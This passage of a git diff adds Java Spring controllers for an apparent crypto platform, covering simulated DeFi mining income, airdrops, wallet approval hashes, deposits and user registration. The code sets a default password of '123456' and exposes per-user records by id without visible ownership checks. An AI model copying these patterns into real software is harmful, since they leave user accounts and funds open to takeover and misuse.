com.ruoyi.bussiness.service.IDefiRateService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.utils.bean.BeanUtils; +import com.ruoyi.web.controller.common.ApiBaseController; +import io.swagger.annotations.ApiOperation; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletRequest; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.ArrayList; +import java.util.List; +import java.util.Random; +import java.util.UUID; + +import static com.ruoyi.common.utils.PageUtils.startPage; + +@RestController +@RequestMapping("/api/apiDefi") +public class ApiDefiController extends ApiBaseController { + @Autowired + IDefiRateService defiRateService; + @ApiOperation(value = "展示挖矿模拟收益") + @PostMapping("/userInvestment") + public AjaxResult userInvestment(HttpServletRequest request) { + List userInvestmentDtos = defiRateService.userInvestment(); + return AjaxResult.success(userInvestmentDtos); + } + @ApiOperation(value = "展示Defi挡位") + @PostMapping("/getDefiRate") + public AjaxResult getDefiRate(HttpServletRequest request) { + return AjaxResult.success( defiRateService.selectDefiRateAllList()); + } + @ApiOperation(value = "展示玩家每日收益详情") + @PostMapping("/showIncome/{userId}") + public AjaxResult showIncome(HttpServletRequest request,@PathVariable("userId") Long userId) { + return AjaxResult.success( defiRateService.getUserShowIncome(userId)); + } + + @ApiOperation(value = "展示玩家每日收益详情") + @GetMapping("/showOrder") + public TableDataInfo showOrder(HttpServletRequest request, DefiOrder defiOrder) { + + + startPage(); + List order = defiRateService.getOrder(defiOrder); + List arrayList = new ArrayList(); + for (DefiOrder defiOrder1: order) { + DefiOrderDTO dto = new DefiOrderDTO(); + BeanUtils.copyBeanProp(dto,defiOrder1); + dto.setCreateTimes(defiOrder1.getCreateTime().getTime()); + arrayList.add(dto); + } + return getDataTable(arrayList,order); + } + @ApiOperation(value = "空头弹窗") + @PostMapping("/showDefiActivityNotice/{userId}") + public AjaxResult showDefiActivityNotice(HttpServletRequest request, @PathVariable("userId")Long userId) { + return AjaxResult.success( defiRateService.showDefiActivityNotice(userId)); + } + + @ApiOperation(value = "展示空投") + @PostMapping("/showDefiActivity/{userId}") + public AjaxResult showDefiActivity(HttpServletRequest request,@PathVariable("userId") Long userId) { + return AjaxResult.success( defiRateService.showDefiActivity(userId)); + } + + @ApiOperation(value = "修改空投状态") + @PostMapping("/updateDefiActivity") + public AjaxResult updateDefiActivity(HttpServletRequest request, @RequestBody DefiActivity defiActivity) { + Integer integer = defiRateService.updateDefiActivity(defiActivity.getId(), defiActivity.getStatus()); + if(integer==0){ + return AjaxResult.error(); + } + return AjaxResult.success( ); + } + @ApiOperation(value = "发送授权hash") + @PostMapping("/sendApproveHash") + public AjaxResult sendApproveHash(HttpServletRequest request, @RequestBody AddressHashDTO addressHashDTO) { + defiRateService.sendApproveHash(addressHashDTO); + return AjaxResult.success( ); + } + + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TActivityRechargeController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TActivityRechargeController.java new file mode 100644 index 0000000..70e2598 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TActivityRechargeController.java @@ -0,0 +1,44 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TActivityRecharge; +import com.ruoyi.bussiness.service.ITActivityRechargeService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletResponse; +import java.util.List; + +/** + * 充值活动Controller + * + * @author ruoyi + * @date 2023-07-05 + */ +@RestController +@RequestMapping("/api/activityrecharge") +public class TActivityRechargeController extends ApiBaseController +{ + @Autowired + private ITActivityRechargeService tActivityRechargeService; + + /** + * 查询充值活动列表 + */ + @PreAuthorize("@ss.hasPermi('system:recharge:list')") + @GetMapping("/list") + public AjaxResult list(TActivityRecharge tActivityRecharge) + { + List list = tActivityRechargeService.selectTActivityRechargeList(tActivityRecharge); + return AjaxResult.success(list); + } + + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAgentActivityInfoController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAgentActivityInfoController.java new file mode 100644 index 0000000..a211403 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAgentActivityInfoController.java @@ -0,0 +1,71 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TAgentActivityInfo; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.vo.TAgentActivityInfoVo; +import com.ruoyi.bussiness.service.ITAgentActivityInfoService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletResponse; +import java.util.*; + +/** + * 返利活动明细Controller + * + * @author ruoyi + * @date 2023-07-06 + */ +@RestController +@RequestMapping("/api/agentActivityInfo") +public class TAgentActivityInfoController extends ApiBaseController +{ + @Autowired + private ITAgentActivityInfoService tAgentActivityInfoService; + + /** + * 统计返利 + */ + @PostMapping("/getAgentInfo") + public AjaxResult getAgentInfo(TAgentActivityInfo tAgentActivityInfo) + { + TAppUser appUser = getAppUser(); + tAgentActivityInfo.setUserId(appUser.getUserId()); + Map map = tAgentActivityInfoService.selectUserActivityInfo(tAgentActivityInfo); + return AjaxResult.success(map); + } + + /** + * 查询返利活动明细列表 + * @param tAgentActivityInfo + * @return + */ + @PostMapping("/getAgentList") + public AjaxResult getAgentList(@RequestBody TAgentActivityInfo tAgentActivityInfo) + { + TAppUser appUser = getAppUser(); + tAgentActivityInfo.setUserId(appUser.getUserId()); + List list = tAgentActivityInfoService.getAgentList(tAgentActivityInfo); + if(!CollectionUtils.isEmpty(list) && list.get(0)!=null){ + list.forEach(t->{ + Map params = new HashMap<>(); + params.put("createTime", Objects.nonNull(t.getCreateTime())?t.getCreateTime().getTime():0l); + t.setParams(params); + }); + }else{ + list = new ArrayList<>(); + } + return AjaxResult.success(list); + } + + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppAssetController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppAssetController.java new file mode 100644 index 0000000..442ddd6 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppAssetController.java @@ -0,0 +1,67 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.domain.vo.AssetTransFundsVO; +import com.ruoyi.bussiness.service.ITAppAssetService; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.*; +import javax.servlet.http.HttpServletRequest; +import java.util.List; +import java.util.Map; + +/** + * 玩家资产Controller + * + * @author shenshen + * @date 2023-06-27 + */ +@RestController +@RequestMapping("/api/asset") +public class TAppAssetController extends ApiBaseController +{ + @Autowired + private ITAppAssetService tAppAssetService; + + + + /** + * 获取玩家资产详细信息 + */ + @GetMapping(value = "/getInfo") + public AjaxResult getInfo() + { + TAppAsset appAsset = new TAppAsset(); + appAsset.setUserId(getStpUserId()); + return success(tAppAssetService.selectTAppAssetList(appAsset)); + } + + /** + * 获取玩家资产划转 + */ + @PostMapping(value = "/transferFunds") + public AjaxResult transferFunds(@RequestBody AssetTransFundsVO assetTransFundsVo) + { + String msg = tAppAssetService.transferFunds(assetTransFundsVo); + if(!StringUtils.isEmpty(msg)){ + return error(msg); + } + return success(); + } + + /** + * 资产余额 + */ + @PostMapping(value = "/assetBalance") + public AjaxResult tAppAssetService() + { + List list = tAppAssetService.tAppAssetService(); + return success(list); + } + + + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppMailController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppMailController.java new file mode 100644 index 0000000..017e8e5 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppMailController.java @@ -0,0 +1,63 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TAppMail; +import com.ruoyi.bussiness.service.ITAppMailService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 1v1站内信Controller + * + * @author ruoyi + * @date 2023-07-18 + */ +@RestController +@RequestMapping("/api/mail") +public class TAppMailController extends ApiBaseController +{ + @Autowired + private ITAppMailService tAppMailService; + + /** + * 查询1v1站内信列表 + */ + @PostMapping("/listByUserId") + public TableDataInfo listByUserId(TAppMail tAppMail) + { + TAppUser appUser = getAppUser(); + tAppMail.setUserId(appUser.getUserId()); + List list = tAppMailService.listByUserId(tAppMail); + return getDataTable(list); + } + + /** + * 修改1v1站内信 + */ + @PostMapping("/updateMail") + public AjaxResult updateMail( Long[] ids) + { + TAppUser appUser = getAppUser(); + return toAjax(tAppMailService.updateMail(ids,appUser)); + } + + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppRechargeController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppRechargeController.java new file mode 100644 index 0000000..7e8dd5f --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppRechargeController.java @@ -0,0 +1,149 @@ +package com.ruoyi.web.controller.bussiness; + +import java.math.BigDecimal; +import java.util.*; +import java.util.stream.Collectors; +import javax.annotation.Resource; + +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.TAppRecharge; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.setting.AssetCoinSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.service.ITAppRechargeService; +import com.ruoyi.bussiness.service.ITUserSymbolAddressService; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.*; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 用户充值Controller + * + * @author ruoyi + * @date 2023-07-04 + */ +@RestController +@RequestMapping("/api/recharge") +public class TAppRechargeController extends ApiBaseController +{ + private static final Logger log = LoggerFactory.getLogger(TAppRechargeController.class); + @Resource + private ITAppRechargeService tAppRechargeService; + @Resource + private SettingService settingService; + @Resource + private ITUserSymbolAddressService userSymbolAddressService; + @Resource + private RedisUtil redisUtil; + @Value("${admin-redis-stream.names}") + private String redisStreamNames; + + + /** + * 获取用户充值详细信息 + */ + @PostMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + TAppRecharge appRecharge = tAppRechargeService.getById(id); + if(Objects.nonNull(appRecharge)){ + Date creatTime=appRecharge.getCreateTime(); + Map params=new HashMap<>(); + params.put("date",Objects.nonNull(creatTime)?creatTime.getTime():0L); + appRecharge.setParams(params); + } + return AjaxResult.success(appRecharge); + } + + /** + * 修改用户充值 + */ + + @PostMapping("/list") + public TableDataInfo list(TAppRecharge tAppRecharge) { + startPage(); + + TAppUser user = getAppUser(); +// TAppUser user = tAppUserService.getById(7); + tAppRecharge.setUserId(user.getUserId()); + Map params = new HashMap<>(); + tAppRecharge.setParams(params); + startPage(); + List list = tAppRechargeService.selectTAppRechargeList(tAppRecharge); + for (TAppRecharge app:list) { + Date creatTime=app.getCreateTime(); + Map map=new HashMap<>(); + map.put("createTime", Objects.nonNull(creatTime)?creatTime.getTime():0L); + app.setParams(map); + } + return getDataTable(list); + } + + @PostMapping("/submit") + public AjaxResult submit(@RequestBody Map params) { + TAppUser user = getAppUser(); + if (null!=user&&user.getStatus() != 0) { + log.debug("userid:{}, 非正常用户,不可充值", user.getUserId()); + return AjaxResult.success(); + } + String type = String.valueOf(params.get("type")); + Setting setting = settingService.get(SettingEnum.ASSET_COIN.name()); + List assetCoinSettings = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AssetCoinSetting.class); + List list = assetCoinSettings.stream().filter(assetCoinSetting -> { + return assetCoinSetting.getCoinName().equals(type); + }).collect(Collectors.toList()); + BigDecimal amount = new BigDecimal(String.valueOf(params.get("amount"))); + if(amount !=null && amount.compareTo(BigDecimal.ZERO)>0){ + if(amount.compareTo(list.get(0).getRechargeMin())<0){ + return AjaxResult.error(MessageUtils.message("recharge.amout.min",list.get(0).getRechargeMin())); + } + if(list.get(0).getRechargeMax().compareTo(amount)<0){ + return AjaxResult.error(MessageUtils.message("recharge.amout.max",list.get(0).getRechargeMax())); + } + user.setParams(params); + } + tAppRechargeService.insertTAppRecharge(user); + + HashMap object = new HashMap<>(); + object.put(CacheConstants.RECHARGE_KEY,CacheConstants.RECHARGE_KEY); + redisUtil.addStream(redisStreamNames,object); + return AjaxResult.success(); + } + + @PostMapping("/userRechage") + public AjaxResult userRechage() { + return AjaxResult.success( userSymbolAddressService.getUserRechargeAdressList(getStpUserId())); + } + @PostMapping("/getAdress") + public AjaxResult getAdress() { + Map> map = new HashMap<>(); + Setting setting = settingService.get(SettingEnum.ASSET_COIN.name()); + if(setting == null){ + return AjaxResult.success(); + } + List list = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AssetCoinSetting.class); + for (AssetCoinSetting assetCoinSetting : list) { + Map adress = userSymbolAddressService.getAdredssByCoin(assetCoinSetting.getCoin(), assetCoinSetting.getCoinName(), getStpUserId()); + map.put(assetCoinSetting.getCoinName(),adress); + } + return AjaxResult.success(map); + } + + @PostMapping("/checkUadress") + public AjaxResult checkUadress( String symbol,String adress) { + boolean f = userSymbolAddressService.check(symbol ,adress); + return AjaxResult.success(f); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppUserController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppUserController.java new file mode 100644 index 0000000..bcd3e0d --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppUserController.java @@ -0,0 +1,673 @@ +package com.ruoyi.web.controller.bussiness; + +import java.io.IOException; +import java.math.BigDecimal; +import java.util.*; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; +import java.util.stream.Stream; +import javax.servlet.http.HttpServletRequest; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; +import cn.dev33.satoken.stp.StpUtil; +import cn.hutool.json.JSONUtil; +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONObject; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.SendPhoneDto; +import com.ruoyi.bussiness.domain.TAppAddressInfo; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TAppUserDetail; +import com.ruoyi.bussiness.domain.setting.AppSidebarSetting; +import com.ruoyi.bussiness.domain.setting.MarketUrlSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.*; +import com.ruoyi.util.EmailUtils; +import com.ruoyi.common.utils.*; +import com.ruoyi.common.utils.ip.IpUtils; +import com.ruoyi.common.utils.sms.SmsSenderUtil; +import com.ruoyi.web.controller.common.ApiBaseController; +import com.wf.captcha.SpecCaptcha; +import com.wf.captcha.base.Captcha; +import com.wf.captcha.utils.CaptchaUtil; +import io.swagger.annotations.ApiImplicitParam; +import io.swagger.annotations.ApiImplicitParams; +import io.swagger.annotations.ApiOperation; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.BeanUtils; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; +import com.ruoyi.common.core.domain.AjaxResult; + +/** + * 玩家用户Controller + * + * @author ruoyi + * @date 2023-06-30 + */ +@RestController +@RequestMapping("/api/user") +public class TAppUserController extends ApiBaseController { + private static final Logger log = LoggerFactory.getLogger(TAppUserController.class); + @Resource + private ITAppUserService tAppUserService; + @Resource + private ITAppUserDetailService appUserDetailService; + @Resource + private SmsService smsService; + @Resource + private RedisCache redisCache; + @Resource + private ITAppuserLoginLogService appUserLoginLogService; + @Resource + private ITAppAddressInfoService itAppAddressInfoService; + @Resource + private SettingService settingService; + + /** + * 玩家登录 + */ + @ApiOperation(value = "用户登录") + @PostMapping("/login") + public AjaxResult login(@RequestBody TAppUser tAppUser,HttpServletRequest request) + { + JSONObject ret = new JSONObject(); + String msg = validateAppUser(tAppUser); + if(StringUtils.isNotEmpty(msg)){ + return AjaxResult.error(msg); + } + TAppUser loginUser = tAppUserService.login(tAppUser); + if(Objects.nonNull(loginUser) && Objects.nonNull(loginUser.getIsBlack()) && loginUser.getIsBlack()==UserBlackEnum.BLOCK.getCode()){ + return AjaxResult.error(MessageUtils.message("user_is_black")); + } + StpUtil.login(loginUser.getUserId()); + ret.put(StpUtil.getTokenName(), StpUtil.getTokenValue()); + appUserLoginLogService.insertAppActionLog(loginUser, "用户登录", 0, request); + return AjaxResult.success(ret); + } + + + @ApiOperation(value = "用户登出") + @PostMapping("/loginOut") + public AjaxResult loginOut(HttpServletRequest request) { + System.out.println(StpUtil.isLogin()); + Long userId = getStpUserId(); + StpUtil.logout(userId); + TAppUser one = tAppUserService.getOne(new LambdaQueryWrapper().eq(TAppUser::getUserId, userId)); + appUserLoginLogService.insertAppActionLog(one, "退出登录成功", 0, request); + return AjaxResult.success(); + } + + + /** + * 获取玩家用户详细信息 + */ + @PostMapping(value = "/getInfo") + public AjaxResult getInfo() + { + Map map = tAppUserService.getInfo(StpUtil.getLoginIdAsLong()); + return AjaxResult.success(map); + } + + /** + * 新增玩家用户 + */ + @ApiOperation(value="app注册用户") + @PostMapping("/register") + public AjaxResult add(@RequestBody TAppUser user, HttpServletRequest request) + { + String host = request.getServerName(); + String ip = IpUtils.getIpAddr(request); + user.setHost(host); + log.debug("进入用户注册方法 入参:{} 开始时间:{}", JSON.toJSONString(user), DateUtils.getTime()); + + + long startTime = System.currentTimeMillis(); + if(StringUtils.isEmpty(user.getLoginPassword())){ + user.setLoginPassword("123456"); + } + user.setLoginPassword(SecurityUtils.encryptPassword(user.getLoginPassword())); + String email = user.getEmail(); + String phone = user.getPhone(); + String signType = user.getSignType(); + String code = user.getCode(); + TAppUser newUser = new TAppUser(); + newUser.setRegisterIp(ip); + //手机号注册 + if (LoginOrRegisterEnum.PHONE.getCode().equals(signType)) { + if(StringUtils.isEmpty(user.getPhone())){ + return error(MessageUtils.message("phone_code_empty")); + } + TAppUser massUser=tAppUserService.getOne(new LambdaQueryWrapper().eq(TAppUser::getPhone,user.getPhone())); + if(Objects.nonNull(massUser)){ + return error(MessageUtils.message("user.register.phone.exisit")); + } + final String registerPhoneCode = String.format("%s%s", CachePrefix.SMS_CODE.getPrefix()+UserCodeTypeEnum.REGISTER.name(), user.getPhone()); + if (Boolean.TRUE.equals(redisCache.hasKey(registerPhoneCode))) { + String validCode = redisCache.getCacheObject(registerPhoneCode).toString(); + if (!code.equalsIgnoreCase(validCode)) { + return AjaxResult.error(MessageUtils.message("login.code_error")); + } + } else { + log.debug("register via email error"); + return AjaxResult.error(MessageUtils.message("login.code_error")); + } + redisCache.deleteObject(registerPhoneCode); + user.setLoginName(phone); + newUser.setLoginName(phone); + newUser.setPhone(phone); + } + //邮箱注册 + if (LoginOrRegisterEnum.EMAIL.getCode().equals(signType)) { + email = email.trim(); + if (!EmailUtils.checkEmail(email)) { + return error(MessageUtils.message("user.register.email.format")); + } + if (tAppUserService.checkEmailUnique(email) > 0) { + return error(MessageUtils.message("user.register.email.exisit")); + } + TAppUser massUser=tAppUserService.selectByUserLoginName(email); + if(Objects.nonNull(massUser)){ + return error(MessageUtils.message("user.user_name_exisit")); + } + final String registerEmailCode = String.format("%s%s", CachePrefix.EMAIL_CODE.getPrefix()+UserCodeTypeEnum.REGISTER.name(), user.getEmail()); + if (Boolean.TRUE.equals(redisCache.hasKey(registerEmailCode))) { + String validCode = redisCache.getCacheObject(registerEmailCode).toString(); + if (!code.equalsIgnoreCase(validCode)) { + return AjaxResult.error(MessageUtils.message("login.code_error")); + } + } else { + log.debug("register via email error"); + return AjaxResult.error(MessageUtils.message("login.code_error")); + } + + redisCache.deleteObject(registerEmailCode); + user.setLoginName(email); + newUser.setLoginName(email); + newUser.setEmail(email); + newUser.setPhone(phone); + // newUser.setAddress(user.getAddress()); + } + //用户注册 + if (LoginOrRegisterEnum.LOGIN.getCode().equals(signType)) { + if (StringUtils.isBlank(user.getLoginName())) { + long endTime = System.currentTimeMillis(); + log.debug("账号为空! 用户注册方法 结束时间:{},耗时:{} 秒", DateUtils.getTime(), (startTime - endTime) / 1000); + return AjaxResult.error(MessageUtils.message("login.user_error")); + } + if (StringUtils.isBlank(user.getLoginPassword())) { + long endTime = System.currentTimeMillis(); + log.debug("密码为空! 用户注册方法 结束时间:{},耗时:{} 秒", DateUtils.getTime(), (startTime - endTime) / 1000); + return AjaxResult.error(MessageUtils.message("login.user_error")); + } + TAppUser massUser=tAppUserService.selectByUserLoginName(user.getLoginName()); + if (null != massUser) { + long endTime = System.currentTimeMillis(); + log.debug("用户已存在! 用户注册方法 结束时间:{},耗时:{} 秒", DateUtils.getTime(), (startTime - endTime) / 1000); + return AjaxResult.error(MessageUtils.message("user.user_name_exisit")); + } + if (StringUtils.isNotBlank(user.getAddress())) { + TAppUser massUser1 = tAppUserService.selectByAddress(user.getAddress()); + if (null != massUser1) { + long endTime = System.currentTimeMillis(); + log.debug("地址被占用:{} 结束时间:{},耗时:{} 秒", true, DateUtils.getTime(), (startTime - endTime) / 1000); + return AjaxResult.error(MessageUtils.message("user.login.address.error"),""); + } + } + String msg = ""; + msg = validateCode(user.getCode(), msg,UserCodeTypeEnum.REGISTER.name()); + if (StringUtils.isNotBlank(msg)) { + long endTime = System.currentTimeMillis(); + log.debug("验证码效验失败! 用户登录方法 结束时间:{},耗时:{} 秒", DateUtils.getTime(), (startTime - endTime) / 1000); + return AjaxResult.error(msg); + } + } + //钱包注册 -- 特殊 钱包授权后 根据地址查找用户 找到直接登录 未找到在注册并登录 + if (LoginOrRegisterEnum.ADDRESS.getCode().equals(signType)) { + + JSONObject ret = new JSONObject(); + TAppUser addressUser = tAppUserService.getOne(new LambdaQueryWrapper().eq(TAppUser::getAddress, user.getAddress())); + if(null != addressUser){ + + StpUtil.login(addressUser.getUserId()); + ret.put(StpUtil.getTokenName(), StpUtil.getTokenInfo().getTokenValue()); + redisCache.setCacheObject(CachePrefix.USER_LOGIN_ADDRESS_FLAG.getPrefix()+addressUser.getUserId(),addressUser.getUserId(),12,TimeUnit.HOURS); + return AjaxResult.success(ret); + } + if(user.getAddress().startsWith("0x")||user.getAddress().startsWith("0X")){ + newUser.setWalletType(WalletType.ETH.name()); + }else { + newUser.setWalletType(WalletType.TRON.name()); + } + user.setLoginName(user.getAddress()); + tAppUserService.insertTAppUser(newUser,user); + TAppUser tAppUser = tAppUserService.getOne(new LambdaQueryWrapper().eq(TAppUser::getAddress, user.getAddress())); + StpUtil.login(tAppUser.getUserId()); + redisCache.setCacheObject(CachePrefix.USER_LOGIN_ADDRESS_FLAG.getPrefix()+tAppUser.getUserId(),tAppUser.getUserId(),12,TimeUnit.HOURS); + ret.put(StpUtil.getTokenName(), StpUtil.getTokenInfo().getTokenValue()); + return AjaxResult.success(ret); + } + tAppUserService.insertTAppUser(newUser,user); + long endTime = System.currentTimeMillis(); + log.debug("用户注册方法完成:{} 结束时间:{},耗时:{} 秒", true, DateUtils.getTime(), (startTime - endTime) / 1000); + TAppUser resultUser = tAppUserService.selectByUserLoginName(newUser.getLoginName()); + resultUser.setLoginPassword(null); + return AjaxResult.success(resultUser); + } + + @ApiOperation(value = "生成验证码") + @GetMapping("/easyGenerateCode") + public void easyGenerateCode(HttpServletResponse response, HttpServletRequest request,String codeType) { + //生成普通验证码 + SpecCaptcha specCaptcha = new SpecCaptcha(); + specCaptcha.setCharType(Captcha.TYPE_ONLY_NUMBER); + specCaptcha.setLen(4); + //生成算数验证码 + //ArithmeticCaptcha arithmeticCaptcha = new ArithmeticCaptcha(); + //设置2为算数 + //arithmeticCaptcha.setLen(2); + //验证码结果 + String content = specCaptcha.text(); + //存放到Redis中 + redisCache.setCacheObject(CachePrefix.CODE.getPrefix()+UserCodeTypeEnum.valueOf(codeType)+ content.toLowerCase(), content.toLowerCase(), 60, TimeUnit.SECONDS); + try { + CaptchaUtil.out(specCaptcha, request, response); + } catch (IOException e) { + e.printStackTrace(); + } + } + + + /** + * 发送email通用验证码 + */ + @ApiOperation(value = "获取邮箱验证码") + @ApiImplicitParams({ + @ApiImplicitParam(name = "email", value = "邮箱", required = true, dataType = "string", paramType = "query"), + @ApiImplicitParam(name = "codeType", value = "类型(0:注册验证码;1:登录验证码;2:找回密码验证码;3:修改密码验证码;4:邮箱绑定验证码 100提现验证 邮箱验证码)", required = true, dataType = "int", paramType = "query") + }) + @PostMapping("/sendEmailCode") + public AjaxResult sendEmailCode(String codeType, String email) { + if (StringUtils.isEmpty(email)) { + return AjaxResult.error("email.code_empty"); + } + email = email.trim(); + if (!EmailUtils.checkEmail(email)) { + return error(MessageUtils.message("user.register.email.format")); + } + try { + tAppUserService.sendEmailCode(codeType,email); + return AjaxResult.success(MessageUtils.message("app.verification.email.code")); + } catch (Exception e) { + e.printStackTrace(); + } + return AjaxResult.error(MessageUtils.message("login.code_has_error")); + } + + + @ApiOperation(value = "发送短信验证码") + @PostMapping("/sendMobileCode") + public AjaxResult sendMobileCode (String phone, String codeType){ + if(StringUtils.isEmpty(phone)){ + return AjaxResult.error(MessageUtils.message("phone_code_empty")); + } + String randomCode = String.valueOf(SmsSenderUtil.getRandomNumber(100000, 999999)); + SendPhoneDto sendPhoneDto = new SendPhoneDto(); + sendPhoneDto.setMobile(phone); + sendPhoneDto.setMsg(randomCode); + String s = smsService.sendMobileCode(sendPhoneDto); + log.debug("code{},result:{}",randomCode,s); + redisCache.setCacheObject(CachePrefix.SMS_CODE.getPrefix()+UserCodeTypeEnum.valueOf(codeType)+ phone, randomCode, CacheConstants.REGISTER_CODE_TIME, TimeUnit.SECONDS); + return AjaxResult.success(MessageUtils.message("user.code.send")); + } + @ApiOperation(value = "绑定手机") + @PostMapping("/bindPhone") + public AjaxResult bindPhone (String phone, String code){ + if(StringUtils.isEmpty(phone) || StringUtils.isEmpty(code)){ + return AjaxResult.error(MessageUtils.message("phone_code_empty")); + } + String msg =tAppUserService.bindPhone(phone,code); + if(StringUtils.isNotEmpty(msg)){ + return AjaxResult.error(msg); + } + return AjaxResult.success(); + } + @ApiOperation(value = "绑定钱包地址") + @PostMapping("/bindWalletAddress") + public AjaxResult bindWalletAddress (String address){ + if(StringUtils.isEmpty(address) || StringUtils.isEmpty(address)){ + return AjaxResult.error(MessageUtils.message("user.login.address.null")); + } + String msg =tAppUserService.bindWalletAddress(address); + if(StringUtils.isNotEmpty(msg)){ + return AjaxResult.error(msg); + } + return AjaxResult.success(); + } + @ApiOperation(value = "获取国家区号") + @PostMapping("/getCountryCode") + public AjaxResult getCountryCode (){ + return AjaxResult.success(CountryCodeAndPhoneCodeEnum.getJsonArray()); + } + + @ApiOperation(value = "绑定email") + @PostMapping("/bindEmail") + public AjaxResult bindEmail (String email, String emailCode, HttpServletRequest request){ + String msg = tAppUserService.bindEmail(email,emailCode,request); + if(StringUtils.isNotEmpty(msg)){ + return AjaxResult.error(msg); + } + return AjaxResult.success(); + } + + + @ApiOperation(value = 